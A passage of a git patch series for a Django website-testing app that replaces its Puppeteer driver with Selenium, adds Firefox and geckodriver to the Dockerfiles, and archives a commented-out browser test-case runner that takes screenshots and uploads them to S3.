         Q(account=account, affected__icontains={'str':query})
-    ).order_by('status', '-time_created')
+    ).order_by('-status', '-time_created')
     
     # serialize and rerturn
     paginator = LimitOffsetPagination()
@@ -2870,20 +2870,20 @@ def get_issues_zapier(request: object) -> object:
         issues = Issue.objects.filter(
             account=account,
             affected__icontains=page_id,
-        ).order_by('-time_created')
+        ).order_by('-status','-time_created')
 
     # get all site associated issues
     if site_id:
         issues = Issue.objects.filter(
             account=account,
             affected__icontains=site_id,
-        ).order_by('-time_created')
+        ).order_by('-status', '-time_created')
 
     # get all account assocoiated issues
     if issues is None:
         issues = Issue.objects.filter(
             account=account
-        ).order_by('status', '-time_created')
+        ).order_by('-status', '-time_created')
 
     # build response data
     data = []

From a80dcdbc2ffbb141ce75b1cea8077abb10787140 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 5 Aug 2024 15:49:42 -0600
Subject: [PATCH 0609/1099] removing "driver" and adding "browser" (chrome,
 firefox)

---
 Dockerfile                                    |  12 +-
 Dockerfile.local                              |  14 +-
 app/api/management/commands/driver_p_test.py  |  14 -
 .../{driver_s_test.py => driver_test.py}      |   2 +-
 app/api/tasks.py                              | 101 +-
 app/api/utils/archive/caser.py                | 899 ++++++++++++++++++
 app/api/utils/archive/driver_p.py             | 263 +++++
 app/api/utils/archive/imager.py               | 797 ++++++++++++++++
 app/api/utils/archive/wordpress_p.py          | 570 +++++++++++
 app/api/utils/autocaser.py                    |   3 +-
 app/api/utils/caser.py                        | 505 +---------
 app/api/utils/crawler.py                      |  18 +-
 app/api/utils/{driver_s.py => driver.py}      | 122 ++-
 app/api/utils/driver_p.py                     | 263 -----
 app/api/utils/exporter.py                     |   2 +-
 app/api/utils/imager.py                       | 275 +-----
 app/api/utils/scanner.py                      | 157 ++-
 app/api/utils/tester.py                       |   2 +-
 app/api/utils/wordpress.py                    |   2 +-
 app/api/utils/wordpress_p.py                  | 570 -----------
 app/api/v1/ops/services.py                    |  57 +-
 app/scanerr/settings.py                       |   2 +-
 k8s/local/app-deployment.yaml                 |   2 +-
 setup/requirements/requirements-staging.txt   |   1 -
 setup/requirements/requirements.txt           |   1 -
 setup/scripts/local-entrypoint.sh             |   3 +-
 setup/scripts/remote-entrypoint.sh            |   3 +-
 27 files changed, 2840 insertions(+), 1820 deletions(-)
 delete mode 100644 app/api/management/commands/driver_p_test.py
 rename app/api/management/commands/{driver_s_test.py => driver_test.py} (84%)
 create mode 100644 app/api/utils/archive/caser.py
 create mode 100644 app/api/utils/archive/driver_p.py
 create mode 100644 app/api/utils/archive/imager.py
 create mode 100644 app/api/utils/archive/wordpress_p.py
 rename app/api/utils/{driver_s.py => driver.py} (60%)
 delete mode 100644 app/api/utils/driver_p.py
 delete mode 100644 app/api/utils/wordpress_p.py

diff --git a/Dockerfile b/Dockerfile
index 52409c17..8e895722 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -27,7 +27,17 @@ RUN apt-get update && apt-get install -y python3 python3-pip
 # installing system deps
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
-    libfontconfig 
+    libfontconfig firefox
+
+# installing gekodriver
+RUN curl -fL -o /tmp/geckodriver.tar.gz \
+    https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz 
+RUN tar -xzf /tmp/geckodriver.tar.gz -C /tmp/
+RUN chmod +x /tmp/geckodriver
+RUN mv /tmp/geckodriver /usr/local/bin/
+
+# Cleanup unnecessary stuff
+RUN apt-get purge -y --auto-remove
 
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
diff --git a/Dockerfile.local b/Dockerfile.local
index 84e7b4a7..8782f9c3 100644
--- a/Dockerfile.local
+++ b/Dockerfile.local
@@ -21,9 +21,9 @@ RUN groupadd --system app & useradd --system app
 # installing python3 & pip
 RUN apt-get update && apt-get install -y python3.10 python3-pip
 
-# installing system deps || chromium-browser chromium-driver
+# installing system deps
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig
+    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig firefox
     
 # extra packages
 RUN apt-get install -y libglib2.0-0 libsm6 libxrender1 libxext6 libgl1
@@ -37,6 +37,16 @@ RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd
 RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
 RUN rm google-chrome-stable_current_amd64.deb 
 
+# installing gekodriver
+RUN curl -fL -o /tmp/geckodriver.tar.gz \
+    https://github.com/mozilla/geckodriver/releases/download/v0.34.0/geckodriver-v0.34.0-linux64.tar.gz 
+RUN tar -xzf /tmp/geckodriver.tar.gz -C /tmp/
+RUN chmod +x /tmp/geckodriver
+RUN mv /tmp/geckodriver /usr/local/bin/
+
+# Cleanup unnecessary stuff
+RUN apt-get purge -y --auto-remove
+
 # begin npm portion
 RUN npm cache clean --force
 
diff --git a/app/api/management/commands/driver_p_test.py b/app/api/management/commands/driver_p_test.py
deleted file mode 100644
index c85d2705..00000000
--- a/app/api/management/commands/driver_p_test.py
+++ /dev/null
@@ -1,14 +0,0 @@
-from ...utils.driver_p import driver_test
-from django.core.management.base import BaseCommand
-import asyncio
-
-# testing puppeteer, pyppeteer, and chromium installation and configs
-
-class Command(BaseCommand):
-
-    def handle(self, *args, **options):
-        asyncio.run(driver_test())
-
-    
-
-
diff --git a/app/api/management/commands/driver_s_test.py b/app/api/management/commands/driver_test.py
similarity index 84%
rename from app/api/management/commands/driver_s_test.py
rename to app/api/management/commands/driver_test.py
index 3ae6438a..d72df774 100644
--- a/app/api/management/commands/driver_s_test.py
+++ b/app/api/management/commands/driver_test.py
@@ -1,4 +1,4 @@
-from ...utils.driver_s import driver_test
+from ...utils.driver import driver_test
 from django.core.management.base import BaseCommand
 
 # testing selenium, chromedriver, and chromium installation and configs
diff --git a/app/api/tasks.py b/app/api/tasks.py
index bde888c7..637c8499 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -5,7 +5,6 @@
 from .utils.tester import Tester as T
 from .utils.reporter import Reporter as R
 from .utils.wordpress import Wordpress as W
-from .utils.wordpress_p import Wordpress as W_P
 from .utils.automater import Automater
 from .utils.caser import Caser
 from .utils.autocaser import AutoCaser
@@ -14,7 +13,6 @@
     _html_and_logs, _vrt, _lighthouse, 
     _yellowlab
 )
-from .utils.driver_p import driver_test
 from .utils.alerts import send_invite_link, send_remove_alert
 from .models import *
 from django.contrib.auth.models import User
@@ -56,21 +54,6 @@ class BaseTaskWithRetry(Task):
 
 
 
-@shared_task
-def test_pupeteer() -> None:
-    """ 
-    Spins up a puppeteer driver instance and
-    tests to ensure it can access the browser and internet
-
-    Returns -> None
-    """
-    asyncio.run(driver_test())
-    logger.info('Tested pupeteer instalation')
-    return None
-
-
-
-
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None:
     """ 
@@ -268,7 +251,7 @@ def create_scan(
         page_id         : str, 
         type            : list,
         automation_id   : str, 
-        configs         : str,
+        configs         : dict,
         tags            : list,
     }
     
@@ -291,7 +274,7 @@ def create_scan(
         )
 
     # run scan and automation if necessary
-    scan = S(scan=created_scan, configs=configs).build_scan()
+    scan = S(scan=created_scan).build_scan()
     if automation_id:
         print('running automation from `task.create_scan`')
         Automater(automation_id, scan.id).run_automation()
@@ -1055,12 +1038,7 @@ def create_testcase_bg(
         )
 
     # running testcase
-    if configs.get('driver', 'puppeteer') == 'puppeteer':
-        testresult = asyncio.run(
-            Caser(testcase=testcase).run_p()
-        )
-    if configs.get('driver', 'puppeteer') == 'selenium':
-        testresult = Caser(testcase=testcase).run_s()
+    testresult = Caser(testcase=testcase).run()
 
     # run automation if requested
     if automation_id:
@@ -1365,55 +1343,36 @@ def migrate_site_bg(
     Returns -> None
     """
 
-    if driver == 'selenium':
-        # init wordpress for selenium
-        wp = W(
-            login_url=login_url, 
-            admin_url=admin_url,
-            username=username,
-            password=password,
-            email_address=email_address,
-            destination_url=destination_url,
-            sftp_address=sftp_address,
-            dbname=dbname,
-            sftp_username=sftp_username,
-            sftp_password=sftp_password, 
-            wait_time=wait_time,
-            process_id=process_id,
+    # init wordpress for selenium
+    wp = W(
+        login_url=login_url, 
+        admin_url=admin_url,
+        username=username,
+        password=password,
+        email_address=email_address,
+        destination_url=destination_url,
+        sftp_address=sftp_address,
+        dbname=dbname,
+        sftp_username=sftp_username,
+        sftp_password=sftp_password, 
+        wait_time=wait_time,
+        process_id=process_id,
 
-        )
+    )
 
-        # login
-        wp_status = wp.login()
-        # adjust lang
-        wp_status = wp.begin_lang_check()
-        # install plugin
-        wp_status = wp.install_plugin(plugin_name=plugin_name)
-        # launch migration
-        wp_status = wp.launch_migration()
-        # run migration
-        wp_status = wp.run_migration()
-        # re adjust lang
-        # wp_status = wp.end_lang_check()
+    # login
+    wp_status = wp.login()
+    # adjust lang
+    wp_status = wp.begin_lang_check()
+    # install plugin
+    wp_status = wp.install_plugin(plugin_name=plugin_name)
+    # launch migration
+    wp_status = wp.launch_migration()
+    # run migration
+    wp_status = wp.run_migration()
+    # re adjust lang
+    # wp_status = wp.end_lang_check()
     
-    else:
-        # init wordpress for puppeteer
-        wp_status = asyncio.run(
-            W_P(
-                login_url=login_url, 
-                admin_url=admin_url,
-                username=username,
-                password=password,
-                email_address=email_address,
-                destination_url=destination_url,
-                sftp_address=sftp_address,
-                dbname=dbname,
-                sftp_username=sftp_username,
-                sftp_password=sftp_password, 
-                wait_time=wait_time,
-                process_id=process_id,
-            ).run_full(plugin_name=plugin_name)
-        )
 
     logger.info('Finished Migration')
     return None
diff --git a/app/api/utils/archive/caser.py b/app/api/utils/archive/caser.py
new file mode 100644
index 00000000..c47108bf
--- /dev/null
+++ b/app/api/utils/archive/caser.py
@@ -0,0 +1,899 @@
+# from .driver_p import driver_init as driver_p_init
+# from .driver_s import driver_init as driver_init
+# from .driver_s import driver_wait, quit_driver
+# from .issuer import Issuer
+# import time, uuid, json, boto3, os
+# from selenium.webdriver.common.by import By
+# from selenium.webdriver.common.keys import Keys
+# from ..models import * 
+# from datetime import datetime
+# from asgiref.sync import sync_to_async
+# from scanerr import settings
+
+
+
+
+
+
+# class Caser():
+#     """ 
+#     Run a `Testcase` for a specific `Site`.
+
+#     Expects: {
+#         'testcase' : object,
+#     }
+
+#     - Use `Caser.run_s()` to run with selenium
+#     - Use `Caser.run_p()` to run with puppeteer
+
+#     Returns -> None
+#     """
+
+
+
+
+#     def __init__(self, testcase: object=None):
+#         self.testcase = testcase
+#         self.site_url = self.testcase.site.site_url
+#         self.steps = self.testcase.steps
+#         self.case_name = self.testcase.case.name
+#         self.configs = self.testcase.configs
+#         self.s_keys = {
+#             '+':            Keys.ADD,
+#             'Alt':          Keys.ALT,
+#             'ArrowDown':    Keys.ARROW_DOWN,
+#             'ArrowLeft':    Keys.ARROW_LEFT,
+#             'ArrowRight':   Keys.ARROW_RIGHT,
+#             'ArrowUp':      Keys.ARROW_UP,
+#             'Backspace':    Keys.BACKSPACE,
+#             'Control':      Keys.CONTROL,
+#             '.':            Keys.DECIMAL,
+#             'Delete':       Keys.DELETE,
+#             '/':            Keys.DIVIDE,
+#             'Enter':        Keys.ENTER,
+#             '=':            Keys.EQUALS,
+#             'Escape':       Keys.ESCAPE,
+#             'Meta':         Keys.META,
+#             '*':            Keys.MULTIPLY,
+#             '0':            Keys.NUMPAD0,
+#             '1':            Keys.NUMPAD1,
+#             '2':            Keys.NUMPAD2,
+#             '3':            Keys.NUMPAD3,
+#             '4':            Keys.NUMPAD4,
+#             '5':            Keys.NUMPAD5,
+#             '6':            Keys.NUMPAD6,
+#             '7':            Keys.NUMPAD7,
+#             '8':            Keys.NUMPAD8,
+#             '9':            Keys.NUMPAD9,
+#             ';':            Keys.SEMICOLON,
+#             'Shift':        Keys.SHIFT,
+#             'Space':        Keys.SPACE,
+#             '-':            Keys.SUBTRACT,
+#             'Tab':          Keys.TAB
+#         }
+
+
+
+
+#     @sync_to_async
+#     def update_testcase(
+#             self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
+#             passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
+#         ) -> None:
+#         # updates Tescase for a puppeteer run (async) 
+#         if start_time != None:
+#             self.testcase.steps[index][type]['time_created'] = str(start_time)
+#         if end_time != None:
+#             self.testcase.steps[index][type]['time_completed'] = str(end_time)
+#         if passed != None:
+#             self.testcase.steps[index][type]['passed'] = passed
+#         if exception != None:
+#             self.testcase.steps[index][type]['exception'] = str(exception)
+#         if image != None:
+#             self.testcase.steps[index][type]['image'] = str(image)
+#         if time_completed != None:
+#             self.testcase.time_completed = time_completed
+#             test_status = True
+#             for step in self.testcase.steps:
+#                 if step['action']['passed'] == False:
+#                     test_status = False
+#                 if step['assertion']['passed'] == False:
+#                     test_status = False
+#             self.testcase.passed = test_status
+        
+#         self.testcase.save()
+#         return None
+
+
+
+
+#     def update_testcase_s(
+#             self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
+#             passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
+#         ) -> None:
+#         # updates Tescase for a selenium run (async) 
+#         if start_time != None:
+#             self.testcase.steps[index][type]['time_created'] = str(start_time)
+#         if end_time != None:
+#             self.testcase.steps[index][type]['time_completed'] = str(end_time)
+#         if passed != None:
+#             self.testcase.steps[index][type]['passed'] = passed
+#         if exception != None:
+#             self.testcase.steps[index][type]['exception'] = str(exception)
+#         if image != None:
+#             self.testcase.steps[index][type]['image'] = str(image)
+#         if time_completed != None:
+#             self.testcase.time_completed = time_completed
+#             test_status = True
+#             for step in self.testcase.steps:
+#                 if step['action']['passed'] == False:
+#                     test_status = False
+#                 if step['assertion']['passed'] == False:
+#                     test_status = False
+#             self.testcase.passed = test_status
+        
+#         self.testcase.save()
+#         return
+
+
+
+
+#     @sync_to_async
+#     def format_element(self, element):
+#         elememt = json.dumps(element).rstrip('"').lstrip('"')
+#         return str(element)
+
+
+
+
+#     def format_element_s(self, element):
+#         elememt = json.dumps(element).rstrip('"').lstrip('"')
+#         return str(element)
+
+
+
+    
+#     async def save_screenshot(self, page: object=None) -> str:
+#         '''
+#         Grabs & uploads a screenshot of the `page` 
+#         passed in the params. 
+
+#         Returns -> `image_url` <str:remote path to image>
+#         '''
+
+#         # setup boto3 configurations
+#         s3 = boto3.client(
+#             's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+#             aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+#             region_name=str(settings.AWS_S3_REGION_NAME), 
+#             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+#         )
+
+#         # setting id for image
+#         pic_id = uuid.uuid4()
+        
+#         # get screenshot
+#         await page.screenshot({'path': f'{pic_id}.png'})
+
+#         # seting up paths
+#         image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+#         remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png'
+#         root_path = settings.AWS_S3_URL_PATH
+#         image_url = f'{root_path}/{remote_path}'
+    
+#         # upload to s3
+#         with open(image, 'rb') as data:
+#             s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+#                 remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+#             )
+#         # remove local copy
+#         os.remove(image)
+
+#         # returning image url
+#         return image_url
+
+
+
+    
+#     def save_screenshot_s(self) -> str:
+#         '''
+#         Grabs & uploads a screenshot of the `page` 
+#         passed in the params. 
+
+#         Returns -> `image_url` <str:remote path to image>
+#         '''
+
+#         # setup boto3 configurations
+#         s3 = boto3.client(
+#             's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+#             aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+#             region_name=str(settings.AWS_S3_REGION_NAME), 
+#             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+#         )
+
+#         # setting id for image
+#         pic_id = uuid.uuid4()
+        
+#         # get screenshot
+#         self.driver.save_screenshot(f'{pic_id}.png')
+
+#         # seting up paths
+#         image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+#         remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png'
+#         root_path = settings.AWS_S3_URL_PATH
+#         image_url = f'{root_path}/{remote_path}'
+    
+#         # upload to s3
+#         with open(image, 'rb') as data:
+#             s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+#                 remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+#             )
+#         # remove local copy
+#         os.remove(image)
+
+#         # returning image url
+#         return image_url
+
+
+
+#     @sync_to_async
+#     def format_exception(self, exception: str) -> str:
+#         """ 
+#         Cleans the passed `exception` of any 
+#         system refs and unnecessary info
+
+#         Expects: {
+#             "exception": str
+#         }
+
+#         Returns -> str
+#         """
+
+#         split_e = str(exception).split('Stacktrace:')
+#         new_exception = split_e[0]
+
+#         return new_exception
+
+
+    
+
+#     def format_exception_s(self, exception: str) -> str:
+#         """ 
+#         Cleans the passed `exception` of any 
+#         system refs and unnecessary info
+
+#         Expects: {
+#             "exception": str
+#         }
+
+#         Returns -> str
+#         """
+
+#         split_e = str(exception).split('Stacktrace:')
+#         new_exception = split_e[0]
+
+#         return new_exception
+
+    
+
+
+#     def run_s(self) -> None:
+#         """
+#         Runs the self.testcase using selenium as the driver
+
+#         Returns -> None
+#         """
+
+#         print(f'beginning testcase for {self.site_url}  \
+#             using case {self.case_name}')
+        
+#         # initate driver
+#         self.driver = driver_init(
+#             window_size=self.configs['window_size'], 
+#             device=self.configs['device']
+#         )
+
+#         # setting implict wait_time for driver
+#         self.driver.implicitly_wait(self.configs['max_wait_time'])
+
+#         i = 0
+#         for step in self.steps:
+#             print(f'-- running step #{i+1} --')
+        
+#             # adding catch if nav is not first
+#             if i == 0 and step['action']['type'] != 'navigate':
+#                 print(f'navigating to {self.site_url} before first step')
+#                 # using selenium, navigate to site root path & wait for page to load
+#                 self.driver.get(f'{self.site_url}')
+#                 time.sleep(int(self.configs['min_wait_time']))
+
+#             if step['action']['type'] == 'navigate':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'navigating to {self.site_url}{step["action"]["path"]}')
+#                     # using selenium, navigate to requested path & wait for page to load
+#                     driver_wait(
+#                         driver=self.driver, 
+#                         interval=int(self.configs.get('interval', 1)),  
+#                         min_wait_time=int(self.configs.get('min_wait_time', 3)),
+#                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
+#                     )
+#                     self.driver.get(f'{self.site_url}{step["action"]["path"]}')
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = self.save_screenshot_s()
+
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+            
+#             if step['action']['type'] == 'scroll':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'scrolling -> {step["action"]["value"]}')
+                                    
+#                     # scrolling using plain JavaScript
+#                     self.driver.execute_script(f'window.scrollTo({step["action"]["value"]});')
+#                     time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+#                     # get image
+#                     image = self.save_screenshot_s()
+                
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+        
+            
+#             if step['action']['type'] == 'click':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'clicking element -> {step["action"]["element"]}')
+#                     # using selenium, find and click on the 'element' 
+#                     selector = self.format_element_s(step["action"]["element"])
+#                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                                    
+#                     # scrolling to element using plain JavaScript
+#                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+#                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
+#                     self.driver.execute_script("window.scrollBy(0, -100);")
+#                     time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+#                     # clicking element
+#                     element.click()
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = self.save_screenshot_s()
+                
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+        
+#             if step['action']['type'] == 'change':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+                
+#                 try:
+#                     print(f'changing element to value -> {step["action"]["value"]}') 
+#                     # using selenium, find and change the 'element'.value
+#                     selector = self.format_element_s(step["action"]["element"])
+#                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+#                     # scrolling to element and back down a bit
+#                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+#                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
+#                     self.driver.execute_script("window.scrollBy(0, -100);")
+#                     time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+#                     # changing value of element
+#                     value = step["action"]["value"]
+#                     element.send_keys(value)
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = self.save_screenshot_s()
+                
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             if step['action']['type'] == 'keyDown':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+                
+#                 try:
+#                     print(f'keyDown action for key -> {step["action"]["key"]}')
+#                     # getting last known element
+#                     n = (i - 1)
+#                     elm = None
+#                     while True:
+#                         elm = self.steps[n]['action']['element']
+#                         if elm != None and len(elm) != 0:
+#                             break
+#                         n -= 1
+#                     selector = self.format_element_s(elm)
+                                
+#                     # using selenium, find elemenmtn and send 'Key' event
+#                     selector = self.format_element_s(step["action"]["element"])
+#                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+#                     # scrolling to element and back down a bit
+#                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+#                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
+#                     self.driver.execute_script("window.scrollBy(0, -100);")
+#                     time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+#                     # using selenium, press the selected key
+#                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = self.save_screenshot_s()
+                
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             if step['assertion']['type'] == 'match':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
+#                     # using selenium, find elememt and assert if element.text == assertion.text
+#                     selector = self.format_element_s(step["action"]["element"])
+#                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+#                     # scrolling to element and back down a bit
+#                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+#                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
+#                     self.driver.execute_script("window.scrollBy(0, -100);")
+#                     time.sleep(int(self.configs.get('min_wait_time', 3)))
+
+#                     # gettintg elem text
+#                     elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
+#                     elementText = elementText.strip()
+#                     print(f'elementText => {elementText}')
+#                     print(f'value => {step["assertion"]["value"]}')
+
+#                     # assert text
+#                     assert elementText == step["assertion"]["value"]
+#                     image = self.save_screenshot_s()
+
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+            
+#             if step['assertion']['type'] == 'exists':
+#                 exception = None
+#                 passed = True
+#                 self.update_testcase_s(
+#                     index=i, type='assertion', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'asserting that element -> {step["assertion"]["element"]} exists')
+#                     # using puppeteer, find elememt and assert it exists
+#                     selector = self.format_element_s(step["action"]["element"])
+#                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+
+#                     # scrolling to element and back down a bit
+#                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+#                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
+#                     self.driver.execute_script("window.scrollBy(0, -100);")
+                    
+#                     # scrolling to element using plain JavaScript
+#                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+#                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
+#                     image = self.save_screenshot_s()
+
+#                 except Exception as e:
+#                     image = self.save_screenshot_s()
+#                     exception = self.format_exception_s(e)
+#                     passed = False
+
+#                 self.update_testcase_s(
+#                     index=i, type='assertion', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             i += 1  
+
+#         self.update_testcase_s(
+#             time_completed=datetime.now()
+#         )
+#         quit_driver(driver=self.driver)
+#         print('-- testcase run complete --')
+        
+#         if not self.testcase.passed and self.testcase.configs.get('create_issue'):
+#             print('generating new Issue...')
+#             Issuer(testcase=self.testcase).build_issue()
+        
+#         return None
+
+
+
+
+#     async def run_p(self) -> None:
+#         """
+#         Runs the self.testcase using pupeteer as the driver
+
+#         Returns -> None
+#         """
+
+#         print(f'beginning testcase for {self.site_url}  \
+#             using case {self.case_name}')
+        
+#         # initate driver
+#         self.driver = await driver_p_init()
+        
+#         # init page obj 
+#         self.page = await self.driver.newPage()
+
+#         # setting up page with configs
+#         sizes = self.configs['window_size'].split(',')
+#         is_mobile = False
+#         if self.configs['device'] == 'mobile':
+#             is_mobile = True
+        
+#         self.page_options = {
+#             'waitUntil': 'networkidle0', 
+#             'timeout': int(self.configs['max_wait_time'])*1000
+#         }
+
+#         print(f'setting max timeout to -> {int(self.configs["max_wait_time"])}s')
+
+#         viewport = {
+#             'width': int(sizes[0]),
+#             'height': int(sizes[1]),
+#             'isMobile': is_mobile,
+#         }
+        
+#         userAgent = (
+#             "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
+#             (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
+#         )
+        
+#         emulate_options = {
+#             'viewport': viewport,
+#             'userAgent': userAgent
+#         }
+
+#         if self.configs['device'] == 'mobile':
+#             await self.page.emulate(emulate_options)
+#         else:
+#             await self.page.setViewport(viewport)
+
+
+#         i = 0
+#         for step in self.steps:
+#             print(f'-- running step #{i+1} --')
+
+#             # adding catch if nav is not first
+#             if i == 0 and step['action']['type'] != 'navigate':
+#                 print(f'navigating to {self.site_url} before first step')
+#                 # using puppeteer, navigate to site root path & wait for page to load
+#                 await self.page.goto(f'{self.site_url}', self.page_options)
+#                 time.sleep(int(self.configs['min_wait_time']))
+
+#             if step['action']['type'] == 'navigate':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'navigating to {self.site_url}{step["action"]["path"]}')
+#                     # using puppeteer, navigate to requested path & wait for page to load
+#                     await self.page.goto(f'{self.site_url}{step["action"]["path"]}', self.page_options)
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = await self.save_screenshot(page=self.page)
+
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+                
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             if step['action']['type'] == 'scroll':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'scrolling -> {step["action"]["value"]}')
+              
+#                     # scrolling using plain JavaScript
+#                     await self.page.evaluate(f'window.scrollTo({step["action"]["value"]});')
+#                     time.sleep(int(self.configs['min_wait_time']))
+
+#                     # get image
+#                     image = await self.save_screenshot(page=self.page)
+                
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+#                 await self.update_testcase(
+#                     index=i, type='action', 
